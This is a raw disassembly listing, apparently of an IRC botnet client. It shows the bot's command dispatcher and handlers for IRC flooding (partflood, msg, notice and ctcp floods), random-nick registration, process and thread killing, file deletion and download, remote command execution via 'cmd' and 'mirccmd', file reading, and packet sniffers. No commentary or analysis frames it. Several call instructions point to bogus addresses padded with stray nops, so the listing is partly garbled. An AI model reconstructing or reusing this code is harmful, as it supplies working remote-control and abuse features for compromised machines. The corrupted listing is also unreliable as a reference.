		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A068Bh
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 26A068Bh
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A068Bh
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A068Bh
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A068Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		call	near ptr 26B0669h
		nop
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
